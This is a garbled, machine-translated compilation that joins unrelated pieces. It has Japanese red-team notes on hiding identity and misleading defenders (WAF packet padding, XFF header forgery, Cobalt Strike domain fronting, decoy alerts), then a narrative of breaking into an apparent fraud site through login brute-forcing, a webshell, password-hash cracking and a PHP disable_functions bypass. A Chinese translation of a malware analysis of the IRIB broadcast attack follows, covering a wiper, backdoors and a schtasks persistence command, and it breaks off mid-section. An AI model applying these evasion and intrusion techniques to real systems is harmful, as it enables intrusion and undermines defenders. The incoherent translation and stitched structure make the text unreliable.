ページで開始されたXSSIリクエストを傍受し、特徴の識別を通じて疑わしいXSSI(JSONPコールバック、XSSなど)をブロックし、ハニーポットの固有の特徴を分析し、つかみ、すべてのリクエストを識別し、すべてのリクエストを識別して、ライブラリが存在するかどうかを判断するかどうかを判断します。 Clipboard Pasteが(さらに検証するために)評価されているかどうかを判断するための関連する呼び出しは、ワンクリックで現在のWebサイトのすべてのブラウザデータ機能(すべてのキャッシュおよび保存されたものを含む)をクリアして、ファイルシステムをページで操作できるかどうかを判断します(ここに記述できます)ハニーポットとは、VPSがbeat打されており、日常的に削除されていることは、Redチームの職員がLinux/Windowsの操作とメンテナンスの理解がないということです。

たとえば、Dockerを使用して脆弱な環境を構築することが逃げます。

ワンクリック環境を使用して、デフォルトのプログラムデフォルトパスワード(PHPMYADMIN、BT/PMAの脆弱性、情報漏れの脆弱性)を構築する

NMAPのインタラクティブ実行コマンドは、suidビットエスカレーションなどを見つけます。

2。対策を防ぐ

さまざまなアプリケーション、iptables、リモートログイン制限ログインソース、およびバーストの数をインストールするためのターゲット制限が必要です。 CSなどのソフトウェアをインストールして使用することをお勧めします。777のアクセス許可は与えません。今回は、権利の逆栄養の事例があります。

image-20200925233349340

サーバースプリングボードマシン

広く流通しているカウンターケースでは、Blue Team VPNインストールパッケージのバンドルされた馬/白と黒の使用により、Red Teamの職員がオンラインになりました。したがって、ファイナンス(すなわちコントロール)、VPNなどのターゲットをダウンロード/インストールする場合は、可能な限り仮想マシンで操作して、異なる作業/プロジェクトごとに画像をロールバックし、仮想マシンネットワークエージェントの構成が完了したらバックアップを作成します。

サーバーインストールアプリケーション/管理

仮想マシンランニングソフトウェア

Alibaba Smallアカウントは登録と申請を禁止しており、しばらく閉鎖されると推定されています。定期的な普及中に、SMSカードを購入したり、コードレシーブプラットフォームを使用したり、インターネット電話を使用して電話をかけたり、本名カードを購入したりすることができます。日常生活から身体的孤立を達成することが最善です。

3。隠れている情報

Alipayには以前に問題がありました。オンラインマーチャントバンクを有効にすると、3つの文字を持つ転送オブジェクトの名前を直接確認できます。 2文字の場合、Alipay転送関数を直接使用して、他の情報に基づいて名前を推測できます。

image-20200925233239370

隠された携帯電話番号

Wechatは、IDが漏れている場所でもあります。携帯電話検索をオフにし、Wechatグループに友達を追加し、QRコードが友人を追加できるようにし、3日以内に友人のサークルを見ることができるようにします。友達に可能な限り偽の名前を作るように頼んでください。例:Zhang xx li xx

alipay

WeChatと同じように、スペースの非フレンドアクセス、アクセス日の制限、写真の制限、写真の壁の制限、ゲームディスプレイを閉じます。友達に可能な限り偽の名前を作るように頼んでください。たとえば、Zhang XX Li XX、私はQQでこの問題を抱えていて、友人の間でメモを使用して私の本名を漏らしました。

https://zhuanlan.zhihu.com/p/95525409

QQ一般的な友達の本名を取得します

https://github.com/anntsmart/qq

使用できなくなりましたが、関連するインターフェイスが漏れていないという意味ではありません。たとえば、以前のT.QQ.comでQQにログインすると、セキュリティの検証なしで直接ログインしてQQ SEALEYを取得できます。

wechat

:ブラザーパンツなどの一般的なネットワークIDに通常の文字を使用してみてください。この種のニュースフィギュア。

qq

可能な限り偽の名前を作るように友達に依頼してください。たとえば、Zhang XX Li XX、私はQQでこの問題を抱えていて、友人の間でメモを使用して私の本名を漏らしました。

ソーシャルワークライブラリにはますます多くの情報があるため、隠すためにお金を使うことは純粋にダチョウです。したがって、偽の名前+小さなアカウントを使用して排出/明示するなど、さまざまな場所での真の情報のみを隠すことができます。オンラインで生成された情報またはあなたが知っているソースを使用して身元情報を登録します。

ネットワークID隠し

ネットワークの隠蔽を強調する必要があります。さまざまなプロキシメソッドと、どのような状況下で使用するのに適したかの違いが必要です。

本名は非表示/誤解を招く

です

4。ネットワーク隠蔽

接続トラフィックは暗号化/観察されます。 KCPを使用する場合は、WeChatビデオトラフィックをシミュレートできます。

ss/v2

Socks5が使用されるため、TCPトラフィックのみをプロキシでき、ICMP/UDPはプロキシできません。また、クライアントの転送パフォーマンスの問題により漏れを引き起こすのは簡単です。

利点

短所

従来の専用ラインプロキシモードは、さまざまなシステムのグローバルプロキシをサポートしています。鍵をクラックする可能性は高くありません。プロキシは、異なるアドレスにアクセスして異なるルートに移動するかどうかを判断するために、ルートを手動で設定できます。 0.0.0.0を設定して、VPNの完全なプロトコルに移動できます。 OpenVPN/SoftEtherVpnを簡単に構築できます

Linux構造:

https://github.com/hwdsl2/setup-ipsec-vpn/blob/master/readme-zh.md

vpn l2tp/pptp

ネットワークが不安定な場合、背景は簡単に直接落ち、プロンプトは非常に短いため、裸で実行するのは簡単です。ルーターが制限されているときにポート1723のみが外出することを許可されていることをお勧めします。そうすれば、切断されている場合、ネットワークを直接離れることができません。 VPNに接続するまで。国内ネットワーク内のすべてのL2TPトラフィックを復号化できます。

利点

製品リスト:

短所

SSLプロトコルは、主にSSL記録プロトコルとハンドシェイクプロトコルで構成されており、アプリケーションアクセス接続の認証、暗号化、改ざん防止関数を一緒に提供します。トラフィックは暗号化できます。

sslvpn

SSL VPNはWebブラウザーアプリケーションに限定されており、一部のプロトコルを使用することはできません。

利点

短所

ソフトウェアをコンパイルする過程で、管理者ユーザーを使用して仮想マシンでコンパイルすることをお勧めします。 C#/Cがコンパイルされた後にユーザー名が漏れた場合、ユーザー名が漏れます。これにより、ID情報はWeibuなどのプラットフォームに関連付けられます。

PDBファイル:すべての開発者が知っておくべきこと

5。開発とアプリケーションが隠されています

また、github/blog/wxの記事から別のIDを使用して、以前に作成された誤った情報で取得できる検索結果または情報を集中してみてください。オープンコードのために、個人情報を漏らす機能の害を最小限に抑えます。

デスクトップユーザーを開発およびコンパイルします

github/blog/wechat公式アカウント記事

柔軟なC2を使用してCSトラフィックを難読化し、ドメインフロントと協力してバックエンドIPを隠し、デフォルトのCS証明書を置き換えます。

6。ネットワークデバイストラフィックの混乱

いくつかのWAFデバイスのトラフィックを表示すると、WAFの機能的な制限により、大きなパッケージに大きなパッケージを記録しないことがわかります。パッケージがルールをトリガーすると思われる場合は、まずいくつかのガベージ文字を身体に記入できます。このようにして、実際のマッチングコンテンツはハードWAFで見ることができず、ブルーチームを誤解させてビジネスであるかどうかを判断することもできます。 (フルフローデバイスはありません)

csトラフィックの混乱

AISA/TIANYANなどのデバイスでは、パッケージに悪意のあるコンテンツがある場合、いくつかの弱いパスワード機能/プレーンテキストパスワードログインおよびその他のアラームを記入して、リスクの高いアラームをカバーします。

パッケージパッド付きバイト

WAFのテスト中に混乱を招くホストが見つかった場合、WAFはpre-natアドレスを検出できます。ターゲットイントラネットのいくつかのIPアドレスを理解できる場合は、ホストの難読化を使用して、WAFモニターがpre-natアドレスがイントラネットデバイスのアドレスであると判断できるようにすることができます。これにより、他の当事者が安全なサーバーに応答し、相手の時間コストを増加させるように導くこともできます。

パケット混乱低リスクアラーム

通常、XFFヘッダー偽造はWebログインIPの制限をバイパスするために使用されますが、一部の複雑なイントラネットの場合、セキュリティデバイスはXFFヘッダーを使用して攻撃の最も外側の攻撃IPを判断してからブロックします。これは、攻撃プロセス中に交換するか、XFFヘッダーを追加して、相手の監視担当者を自分で混同します。または、CDNの前にXFFを追加してから、CDNをXFFを連続的に重ねさせます。 WAFでのXFFの追加を表示した後、攻撃IPを127.0.0.1として正常に特定しました。

ホストの混乱

赤いチームプロジェクトのトレーサビリティを防ぐために、可能な限り浸透のためにトラフィックカードを使用することをお勧めします。一部のトラフィックカードは都市にジャンプしますが、これは非常に良いです。私が今使用しているカードを含めて、IP判断は基本的に中国であり、州でさえ出てきません。これは、ブルーチームが一般的に使用されるIPロケーションに基づいて配置されていることは言うまでもありません。

image-20200926004318036

XFFヘッダーの混乱

通常、DNSの特性はブラックドメイン名に定期的に開始されます(有効になっていない場合)

image-20201009113709670

image-20201009112952911

n11lo5jfmu21219.png

この場合、DNS特性を決定することは非常に困難ですが、それを確認する場合は、TianyanでDNS-Type:1を確認できます。

レコードA:

image-20201009115956966

DNS-TXTを有効にした後、特性はより明白です。

image-20201009120341817

image-20201009120805522

DNS-TypeはTXTタイプのレコードを見つけることができ、TianyanでDNS-Type:16を検索します。 TXTの記録がある場合、多数のXXX.16-digital.domain形式でCSのDNS馬として一時的に判断できます。ただし、CCSの3.14バージョンのリクエストが暗号化された後、暗号化キーはまだ見ていません。まだ解決されていません。

コマンドを実行する特性は投稿です。

要約

最後のストーリーでは、詐欺サーバーの最高の権限は取得されていますが、これは技術的な制御のみであると述べています。ケースを提出したい場合は、携帯電話、銀行カードなどの人員にできるだけ多くの情報を提供する必要がありますが、現時点では収集されていません(特定の時間のソースコードに銀行口座があると述べましたが、それはテストアカウントであることがわかりましたが、Baiduはそれの多くから出てきたことがわかりました.

情報収集

baota Backstage

最初に思い浮かぶのは、私が以前に入ったことのないパゴダパネルのバックエンドです。ログイン情報などがあるはずですが、ログインパスワードは取得できませんでしたが、これはあまり影響を与えませんでした。パゴダデータベースファイル(パネル/data/default.db、sqliteデータベースファイル)に直接アクセスできるため、アカウントに入ってバックアップして、通常のアカウントが圧倒されるのを防ぐためにパスワードを設定します。

cmd-change-baota-password

cmd-baota-backup-user

ログをきれいにして、喜んでログインします。 ㄏ(▔、▔)ㄏ:

front-baota-home

私が最初に見るのはアカウント名です。管理者の携帯電話番号だと思います。ここで完全に読むことができない場合は、設定にアクセスして見てください。

front-baota-lookup-phone-elements

ソースコードからは見られないアスタリスクを備えた4つのミドルディジットを以下に示しますが、これらも紙のトラであり、その後、インターフェイスがデータを要求し、返品情報が完全な携帯電話番号であることがわかったためです。 WeChatで検索して、このアカウントを見つけました。

wechat-baota-phone

しかし、その真正性は不明であり、おそらく単なる表紙なので、最初に覚えておいてください。

新しい出発点

将来のある時点で情報を収集し続けようとしていたとき、私のドメイン名とIPにさえもアクセスできないことがわかりました。私は次の数日間で試してみましたが、収穫後はおそらく逃げていると感じました。当然のことながら、いくつかの情報を除いて、私が取得したすべての許可は無駄になりました。その後、警察が実際に私に連絡したこともありました(私はお茶を飲まなかった、私は良い市民$ _ $です)。私はもう一度私の運を試したかったので、興味深いことが再び起こりました。訪問する前のIPには、このページが表示されました。

front-user-login

まあ、私はその瞬間にタイトルとアイコンをほとんど信じていたことを認めなければならず、それを貫通の正当性を考慮するために3秒を無駄にしました。慎重に考えると、もしそれがその銀行だったら、どのようにしてサーバーを犯罪歴のあるIPに置くことができるかを知っているでしょうか?ページのコンテンツは不合理で、アカウントを登録してログインしました。

front-user-home-1

front-user-home-2

front-user-home-3

脆弱性マイニング

ポートサービス

=_=まあ、それは良いことです。 NSLookupやDIGなどの通常のツールはドメイン名からIPまでのみ解析できるため、次の分析では上記の推測も確認します。これは、IPでドメイン名を確認するトリックでもあります。ただし、HTTPSを使用するそのようなサイトに遭遇した場合、IPへの直接アクセスを制限しない場合は、ページを正常に入力し、ブラウザの左上隅にあるプロトコル名をクリックして、使用する証明書を表示できます。通常の証明書の「発行」値は、サイトのドメイン名です。明らかにここではなく、一時的またはテスト証明書である必要があります。

front-https-cert

次に、ドメイン名を分析します。

cmd-nslookup-domain

ここでは、パブリックDNSを通じて解決されたIPが以前に使用されたものと互換性がないように見えることがわかりました。慎重に考える場合、CDNサービスが使用されるはずです。これらのIPに対応するサーバーは、すべてサービスを提供する3つのパーティ機関です。浸透はそれほど意味がなく、簡単ではありません。ここでは、ソースステーションIPを介して直接入力して申し訳ありません。そうしないと、ドメイン名とCDNを介してソースステーションを取得するのは別の頭痛の種です。

次に、ドメイン名がある場合は、サブドメインの波をスキャンして、潜在的な関連サイトを取得します。

cmd-enum-subdomain

かなりの数があります。最初にバックアップしてから、フロントデスクページの返品データから分析することを覚えています。これはPHPを使用してLinuxサーバーであることがわかりました。これは、以前のWindows IISサーバーとは異なります。ドメイン名がリリースまたは再び販売されているようです。それでは、新しいポートからポートをスキャンしましょう。

nmap-normal-scan

私はまだおなじみの数字を見つけましたが、最初にパスワードを実行しました。私の過去の経験によると、スマートマスターに出会ったときにネットを逃したかもしれないので、思慮深いフルポートスキャンサービスも必要です。

nmap-all-port-scan

確かにいくつかあります。プロトコルに基づいてどのサービスがあるかを大まかに推測できます。それを一つ一つ試してみてください、そして、1つはSSHログインであり、もう1つはパゴダのバックエンドであることがわかります。

cmd-ssh-login

front-bt-login

パゴダにはまだログイン検証があり、爆破する希望はないので、最初に脇に置くことしかできません。

バックエンドディレクトリ

ディレクトリを爆発させる前に、数回ヒットした後、盲目的に背景パスを推測しました。

front-admin-login-jump

front-admin-login

win-win?存在しないものは、片面╮(╯_╰)╭だけです。ページの簡単な分析の後、ここで魔法のツールを使用する必要はありません。 wfuzzを使用して、アカウントのパスワードの波を実行するだけです。

cmd-wfuzz-admin-login

最初に舞台裏で走り、他の場所を回りましょう。しばらくすると、結果、Yoxi!入って見てください:

front-admin-home

front-admin-products

front-admin-user-bank

front-admin-user-info

front-admin-user-charge

スズメは小さく、すべての内臓がありますが、予想される興味深いものがいくつかあります。

front-admin-user-withdraw

front-admin-risk-control

撤退は言いません。成功することができるかどうかは、管理者の気分によって異なります。以下のものが完全に理解されていないかどうかは関係ありません。たぶん誰もが真実を理解しています。とにかく、それだけです。私はあなたの運命をコントロールし、あなたのリスクを制御します(¬‿¬)。

webshellを取得

私はしばらくして、ページを分析して搾取可能な脆弱性を見つけて、それをガジェットに渡しました。

front-backdoor-phpinfo

再び剣を描く時が来ました:

ant-file-site-root

私はディレクトリに行きましたが、それは単純ではないことがわかりました。以前のドメイン名のいくつかが登場しました。それは小さなサイトグループでしょうか?少し後に彼らの建築を理解するのに時間がかかりました。複数のセカンドレベルのドメイン名が現在のIPを指し、いくつかの異なるCDNアドレスを持っています。次に、第2レベルのドメイン名が別のサーバーIPを指します。現在のIPのサーバーには、別の第1レベルのドメイン名に対応する第2レベルのドメイン名が含まれています。これらのサイトは、ほぼ同じコードセットを共有しています。=_=本当に複雑です。それは、うまく計画されていないビジネス拡大のためですか?しかし、それは問題ではありません。サーバーに対応するだけです。

ant-file-more-sites

次に、 /etc /passwdファイルにアクセスしてユーザーを表示します。このファイルはLinuxのすべてのユーザーがアクセスできるためです。

ant-file-passwd

すべてがデフォルトアカウントです。現在、WWWアカウントであるため、 /etc /Shadowファイルにアクセスする許可がありません。このファイルは、システム内のすべてのアカウントのパスワードのハッシュ値を記録するため、次のステップは権限を上げることです。

システムディレクトリを閲覧するとき、PHPMyAdminのログインアドレスを見つけました。前にスキャンしなかったのも不思議ではありません。アクセスポータルを確認するためのランダムな複雑なパスを生成するようにパゴダで構成されている必要があります。

ant-file-pma-path

front-pma-login

アカウントとパスワードは簡単ですが、特定の手段で取得できます。残念ながら、他のパーティは構成されたルートアカウントではなく、サイトにちなんで名付けられたサブアカウントです。これは、サーバーに複数のサイトがあり、権限が高くないためです。最初にログインして、見てください:

front-pma-home

サイトのフロントとバックエンドからのデータが含まれています。最初に有用な情報を見つけます:

front-pma-databases

front-pma-admin-pass-hash

テーブルストレージ管理者情報があります。私はあきらめました。ご存知の場合は、コメントできます。テーブルにはパスワードのハッシュ値があります。最初にそれを確認して、あなたの運を試してください:

front-pma-admin-pass-text

実際には小さなノートブックがあります(実際に他のサイトを入力するための基礎があります)。

小さなエピソード

ディレクトリを閲覧するときに、いくつかの絶妙なガジェットも見つかりました。

ant-file-backdoors

ant-code-backdoor-abcd-passwd

front-backdoor-abcd-login

front-backdoor-abcd-home

front-backdoor-adminer

front-backdoor-file-manage

場所は大きくなく、とても活気があります。反対側は大きな男性でいっぱいで、彼らを怒らせる余裕はありません。まだいくつかのグループのグループがいるようで、彼らを静かに嘘をつき、お互いを愛し、殺します、私は何も見えませんでした(x_x)。

disable_functionsバイパス

私はもともと仮想端末を開くことを計画していましたが、電力を増やす方法を喜んで研究しましたが、稲妻のストライキが開かれました。

ant-shell-error

言うまでもなく、システム実行機能のほとんどは無効です。これは、PHP構成アイテムのDisable_Functions値であり、PHPスクリプトでシステムコマンドを実行できるいくつかの機能を制限するために使用されます。もちろん、いくつかの脆弱性バイパス法もあります。時間を節約するには多くの方法があるので、1つずつ手動でテストすることはなく、既存の統合プラグインを直接使用することはありません。

ant-plugin-disable-functions-menu

ant-plugin-disable-fun-1

Putenvが無効になっているのを見ると、少しがっかりします。これだけでは、ほとんどのバイパスメソッドを思いとどまらせることができますが、使用する方法がまだ残っているため(PHP-FPM)、まだ試してみる必要があります。システム構成ファイルをチェックすることにより、FPMモジュールで使用されるソケット通信方法が構成されてから開始されることがわかりました。

ant-plugin-disable-fun-2

ant-plugin-disable-fun-3

ant-plugin-disable-fun-start

最後のプロンプトはすべて成功しています。チェックによって生成された動的リンクライブラリファイルも正常にアップロードされましたが、端末はまだ開くことができませんでした。返品データが空であることを促し続けました。最初は、プラグインで使用される関数もPHPによって無効になっているため、戻りが空になり、他の搾取可能な脆弱性は見つかりませんでした。このため、それは週のほとんどで立ち往生していました。その後、情報を確認し、使用率を手動で実装する準備をしました。

実際、この方法の原則は大まかです。PHPは動的な言語ですが、Nginxはこれらを処理できないため、HTTPプロトコルと比較できるFastCGIプロトコルが中央にfastCGIプロトコルがあります。 Nginxは、受信したクライアント要求をFastCGIプロトコル形式のデータに変換し、PHPモジュールのPHP-FPMを使用してこれらのFASTCGIプロトコルデータを処理し、処理のためにPHPインタープレターに渡します。完了後、結果データは以前と同じパスでブラウザクライアントに返されます。したがって、通常、LinuxサーバーでPHPプログラムを開始すると、PHP-FPMと呼ばれるサービスが開始されます。これは通常、マシンの9000ポートまたはソケットファイルをリッスンし、NGINX構成ファイルFastCGIアクセスアドレスもこのポートまたはファイルに割り当てられます。これらはすべて、上記の通信プロセスを完了するためです。

ここで利用可能なポイントは、Nginxへのリクエストをバイパスし、PHP-FPMサービスと直接通信することです。理想的には、構成エラーのため、9000がネイティブインターフェイスではなく、外部ネットワークインターフェイスに耳を傾けます。もちろん、この状況は非常にまれですが、これはローカルマシンを聴くことができないという意味ではありません。 PHPプログラムファイルが書き込み可能であるという前提の下で、プログラム内のCurlインターフェイス(またはStream_Socket_Clientがソケットファイル通信要求を開始する)を介してサーバーのネイティブポート9000へのリクエストを開始でき、FastCGIクライアントを模倣して対応する形式のデータを送信し、NGINXをbypass nigpass niart with phpppmatで送信することができます。 SSRF(サーバー側のリクエスト偽造)と呼ばれるこの操作の別のことわざがあります。つまり、サーバー要求の偽造、サーバーはクライアントが正常にアクセスできないイントラネットリソースにアクセスできます。もちろん、その名前と非常によく似た方法もあります。CSRF(クロスサイトリクエスト偽造、クロスサイトリクエスト偽造)がありますが、これは他のクライアントからのログイン資格情報の盗みです。

ここに別の問題があるかもしれません。このように回った後、私はまだ最終的にPHP-FPMを渡します。この構成の関数制限はまだ存在します。

1645248957185071.png

在過去的幾個月裡,伊朗遭遇了新一輪的網絡攻擊。這些攻擊不僅僅是對網站進行攻擊那麼簡單,這輪攻擊正在對伊朗的國家基礎設施持續進行攻擊,並造成了重大破壞。

本文對2022 年1 月下旬發生的針對伊朗國家媒體公司——伊朗伊斯蘭共和國廣播公司(IRIB) 的攻擊進行了深入分析。

情況介紹1 月27 日,伊朗國家廣播公司IRIB 被攻擊,導致多個國營電視頻道播放反對派領導人的鏡頭,並呼籲暗殺最高領導人。 Check Point 研究團隊調查了這次攻擊,並能夠從公開可用的資源中檢索與該事件相關的文件和取證證據。

我們發現了旨在傳播抗議信息的惡意可執行文件,此外,我們還發現了使用擦除惡意軟件痕蹟的證據。這表明攻擊者的目的也是為了破壞國家的廣播網絡,對電視和廣播網絡的破壞可能比官方報導的更嚴重。

在攻擊中使用的工具中,我們發現了對受害者屏幕進行截圖的惡意軟件、幾個自定義的後門,以及用於安裝和配置惡意可執行文件的相關批處理腳本和配置文件。我們找不到任何證據表明這些工具以前被使用過,或者將它們歸因於特定的攻擊者。

在本文中,我們對與攻擊相關的工具以及攻擊者使用的策略進行了技術分析。

早在2021 年7 月,伊朗國家鐵路和貨運服務就遭到過攻擊,攻擊者對火車運行進行了攻擊。僅僅一天后,媒體報導稱,負責交通的伊朗道路和城市發展部的網站因“網絡中斷”而被關閉,用戶無法訪問其官方門戶和子服務。此後,網絡攻擊就開始持續攻擊伊朗國家實體,似乎每個目標都經過精心挑選的。 2021 年8 月,黑客組織Tapandegan發布了來自德黑蘭監獄的埃文監獄的鏡頭畫面,該監獄關押了許多政治犯。 2021 年10 月,伊朗的加油站因電子支付系統被攻擊而癱瘓。該事件導致加油站排了兩天的隊,客戶無法使用政府發行的用於購買補貼燃料的電子卡付款。刷卡付款時,最高領導人辦公室的電話號碼出現在屏幕上。

2021 年11 月,伊朗航空公司Mahan Air 宣布挫敗了對其內部系統的未遂攻擊,沒有造成任何傷害。奇怪的是,這一次一個名為“Hooshyaran-e Vatan”(國家警衛隊)的組織聲稱對此負責,並在接下來的兩個月中公佈了據稱在黑客攻擊中被盜的文。

2022 年2 月7 日,Edalat-e Ali 組織公佈了伊朗另一所監獄Ghezel Hesar的監控錄像。

1.jpeg

1 月27 日,有報導稱伊朗國家廣播公司IRIB 遭到黑客攻擊。伊朗伊斯蘭共和國廣播公司,也被稱為“伊朗伊斯蘭共和國的聲音和願景”,是一家國有壟斷企業,負責伊朗的所有廣播和電視服務。網絡攻擊導致國營電視頻道都在播放該國的政治反對派組織。

在被劫持的視頻中,出現了反對派組織領導人Maryam 和Masoud Rajavi 的面孔。 IRIB 技術事務副負責人Reza Alidadi 表示,“只有公司使用技術的所有者才能根據系統上安裝的系統功能和被利用的後門進行攻擊的。”類似的攻擊已經攻擊了其他國家運營的廣播頻道。

2 月1 日,IRIB 的網絡流媒體平台Telewebion 再次被劫持,播放抗議信息。這一次,對針對監獄安全攝像頭的攻擊負責的具有政治動機的組織Edalat-e Ali 聲稱對此負責。這種說法是有道理的,因為黑客攻擊期間的視頻廣播在左上角顯示了該組織的徽標。

技術分析根據伊朗國家新聞網絡Akharin Khabar稱,“技術和廣播系統是完全隔離的,它們配備了可接受的安全協議,無法通過互聯網訪問。”伊朗官員稱這次攻擊“極其複雜”。

目前還不清楚攻擊者是如何進入這些網絡的。我們只能檢索到與這些攻擊的後期階段有關的文件,這些文件有:

建立後門及其持久性;

啟動“惡意”視頻或音頻軌道;

安裝wiper惡意軟件以試圖破壞被黑網絡中的操作;

所有這些示例都從多個來源上傳到VirusTotal (VT),主要使用伊朗IP,並包括安裝或啟動有效負載的短批處理腳本、Windows 事件日誌文件或內存轉儲等幾個取證工件,以及有效負載本身。後者主要是.NET 可執行文件,沒有混淆,但帶有時間戳的未來編譯日期。除了具有相同的語言和相同的VT 提交者之外,這些文件還具有其他相似之處,例如PDB 路徑、常用命令、名稱、代碼重用和通用編碼風格。

劫持廣播信號從用於中斷電視流並作為TSE_90E11.mp4 上傳到VT 的MP4 視頻文件中,我們能夠轉向與廣播劫持相關的其他工件,這些工件據稱運行在播放電視節目播出的服務器上。為了播放視頻文件,攻擊者使用了一個名為SimplePlayout.exe 的程序,這是一個基於.NET 的可執行文件,在調試模式下編譯,PDB 路徑為c:\work\SimplePlayout\obj\Debug\SimplePlayout.pdb。該可執行文件只有一個功能:通過Medialooks使用. net MPlatform SDK循環播放視頻文件。

2.png

首先,SimplePlayout程序尋找一個名為SimplePlayout.ini的配置文件,該配置文件包含兩行:視頻文件路徑和表示視頻格式的數字。相應的SimplePlayout.ini文件與SimplePlayout一起上傳的值對應於位於c: windows\temp\TSE_90E11.mp4的MP4文件和HD 1080i的視頻格式,刷新率為50 Hz。

為了阻止已經播放的視頻流,攻擊者使用了一個名為playjfalcfgcdq.bat 的批處理腳本。它會阻止正在運行的進程並刪除TFI Arista Playout Server 的可執行文件,這是一種已知IRIB 用於廣播的軟件,隨後卸載Matrox DSX 驅動程序,這是虛擬廣播基礎設施中用於媒體處理的軟件的一部分。

為了組合所有的惡意組件,另一個腳本layoutabcpxtveni.bat做了以下幾件事:

將位於c:\windows\temp\TSE_90E11.003 的MP4 視頻文件重命名為TSE_90E11.mp4。這個文件可能是通過某個後門釋放到那裡的,我們稍後會討論這個問題。

阻止QTV.CG. server .exe(可能是Autocue QTV廣播軟件的一部分)的運行進程,並用SimplePlayout(攻擊者用來播放視頻的工具)覆蓋位於D: CG 1400\QTV.CG. server .exe的原始服務器。

將c:\windows\SimplePlayout.exe拷貝到QTV.CG.Server.exe所在目錄下的SimplePlayout.ini。至少這個批處理腳本示例包含一個拼寫錯誤,因為攻擊者可能打算將SimplePlayout.ini複製到惡意可執行文件附近。

從初始位置和替換位置運行SimplePlayout.exe。

在我們發現的另一組相關工件中,攻擊者利用了包含名為TSE_90E11.001 的25 秒音軌的WAV 文件,類似於被劫持的電視流中使用的MP4 文件的文件名。一個名為Avar.exe 的可執行文件基於NAudio,一個開源的.NET 音頻庫,負責播放WAV 文件。與SimplePlayout.exe 不同,Avar.exe 不依賴於配置文件。相反,它包含硬編碼為C:\windows\temp\TSE_90E11.001 的WAV 文件的路徑。執行後,Avar.exe 會嘗試枚舉所有活動的音頻設備並在每個設備上播放WAV 文件。

最後,一個名為avapweiguyyyy .bat的批處理腳本將這些組件組合在一起。它阻止一個名為Avar.exe的進程,並在C:\ProgramFiles\MIT\AVA\ava.exe中用Avar.exe替換可執行文件。在文件和文件夾中使用的名字Ava可能表明這些文件是為IRIB的Ava電台準備的,儘管它也受到了這次攻擊的影響,這一事實尚未得到官方證實。

wiper我們發現了兩個相同的.NET 示例,名為msdskint.exe,其主要目的是擦除計算機的文件、驅動器和MBR,這也可以從PDB 路徑推導出:C:\work\wiper\Wiper\obj\Release\Wiper.pdb。此外,該惡意軟件還能夠清除Windows 事件日誌、刪除備份、終止進程、更改用戶密碼等。兩個示例均由相同的提交者在與先前討論的工件相同的時間範圍內上傳到VT。

3.png

wiper有三種模式來破壞文件,並用隨機值填充字節:

Default-覆蓋文件中每個1024 字節塊的前200 字節;

light-wipe-覆蓋配置中指定的多個塊;

full_purge-覆蓋整個文件內容;

wiper通過以下方式之一獲取擦除過程的配置:在命令行參數中,或從文件code meciwipe.ini /code 中的硬編碼默認配置和排除列表中獲取。默認配置包含一個與Windows操作系統和Kaspersky 和Symantec 安全產品相關的預定義排除列表,這些產品在伊朗被廣泛使用:

4.png

如果惡意軟件沒有參數,它將作為一個名為“Service1”的服務運行。

主要的wiper函數會計算每個參數的FNV1A32哈希並使用它來確定接下來的行為:

5.png

DestroyMBR標誌使惡意軟件可以通過寫入一個硬編碼的base64編碼的二進製文件precg.exe,然後運行它來擦除MBR。 precg.exe 是一個基於Gh0stRAT MBR wiper的MBRKiller。

擦除過程從搜索最後一個被擦除的文件開始,惡意軟件將其路徑寫入名為lastfile 的文件(或在wipe_stage_2 的情況下為lastfile2)。然後,檢查每個文件以查看它是否被排除或其擴展名不在預定義列表中:

6.png

full_purge模式覆蓋文件的所有字節,對於來自的purge_extensions列表的文件總是啟用:

7.png

如果啟用了delete_files 標誌,則wiper還會在覆蓋文件後刪除它們。

我們發現了與wiper示例一起提交的其他取證工件,證明wiper確實是在電視環境中執行的:

lastfile2 包含最後一個擦除文件的路徑:C:\users\tpa\videos\captures\desktop.ini。僅當wiper以wipe_stage_2模式運行時,才會創建此文件,該模式會在wiper過程之後刪除文件。

breakusufjkjdil.bat 文件,顯示至少一個wiper實例應該運行以終止現有用戶會話並更改所有用戶的密碼:'c:\windows\temp\msdskint.exe' -break-users * -sessi。

事件查看器應用程序日誌文件顯示與擦除服務Service1 相關的事件。日誌包含攻擊後幾個小時的時間戳:

8.png

後門WinScreeny此工具的名稱來自PDB 路徑:C:\work\winscreeny\winscreeny\obj\Debug\winscreeny.pdb。該後門的主要目的是對受害者的計算機進行截屏。我們找到了這個後門的兩個示例:第一個是上傳到VT的發布版本,名為mslicval.exe,第二個是名為precg2.exe的調試版本。不用說,這些文件和我們發現的其他工件一起提交給了VT。

根據命令行參數,後門可以以不同的方式運行:

None-運行一個SimpleTCPServer 偵聽端口18000。

Service-作為名為Service1 的服務運行。啟動時,該服務使用以下命令創建計劃任務: schtasks /create /TN \'Microsoft\\Windows\\.NET Framework\\.NETASM\'/TR \” file_path \' /ST current_time + 1:10 /SC ONCE /F。

Setup-嘗試使用LsaAddAccountRights API 函數獲取權限,然後將自身作為服務運行。

惡意軟件在端口18000 上偵聽數據包,並且對於每個數據包,它會檢查消息是否包含使用POST 方法發送的scr=命令。如果滿足這些條件,惡意軟件會將屏幕截圖保存到名為screeny- timestamp .png 的文件中,如果成功,則會向攻擊者返回“完成”消息。

9.png

有趣的是,該惡意軟件的發布版本還能夠執行命令:它支持s=命令,該命令獲取一個base64 編碼的字符串與1 字節密鑰0x24 進行異或運算。解碼後的字符串由cmd運行,執行結果返回給服務器。處理這個特性的代碼也在我們稍後討論的HttpService 後門中被重用。

HttpCallbackServiceHttpCallbackService是一個遠程管理工具(RAT),有一個熟悉的PDB路徑:C:\work\simpleserver\HttpCallbackService\obj\Release\HttpCallbackService. PDB。它的CC URL可以用兩種不同的方式指定:命令行參數或配置文件callservice.ini。接下來,接收到的值會附加一個短字符串:m=如果URL 以“.aspx”或“.php”結尾; m=,如果URL 以“/”結尾,或者/m=在任何其他情況下。

不幸的是,我們沒有找到任何與HttpCallbackService 相關的配置或其他工件,因此這次攻擊中的CC 服務器仍然未知。

每隔5秒,HttpCallbackService使用webClient向CC URL發送一個請求。 DownloadString方法接收由' \r\n '分割的命令列表。如果惡意軟件在過去的5分鐘內沒有收到任何命令,並且isStayAliveMode標誌被禁用,這個時間幀將增加到1分鐘。

這些是RAT 支持的命令:

10.png

當命令的結果上傳到服務器時,數據被發送到一個稍微不同的URL:之前定義的CC URL,現在附加了“1”。 使用以下格式的WebClient.UploadValues 方法發送數據:

download=file_name \r\n--------------\r\n base64 of chunk 用於下載命令;

command \r\n--------------\r\n result 用於cmd 命令;

HttpService

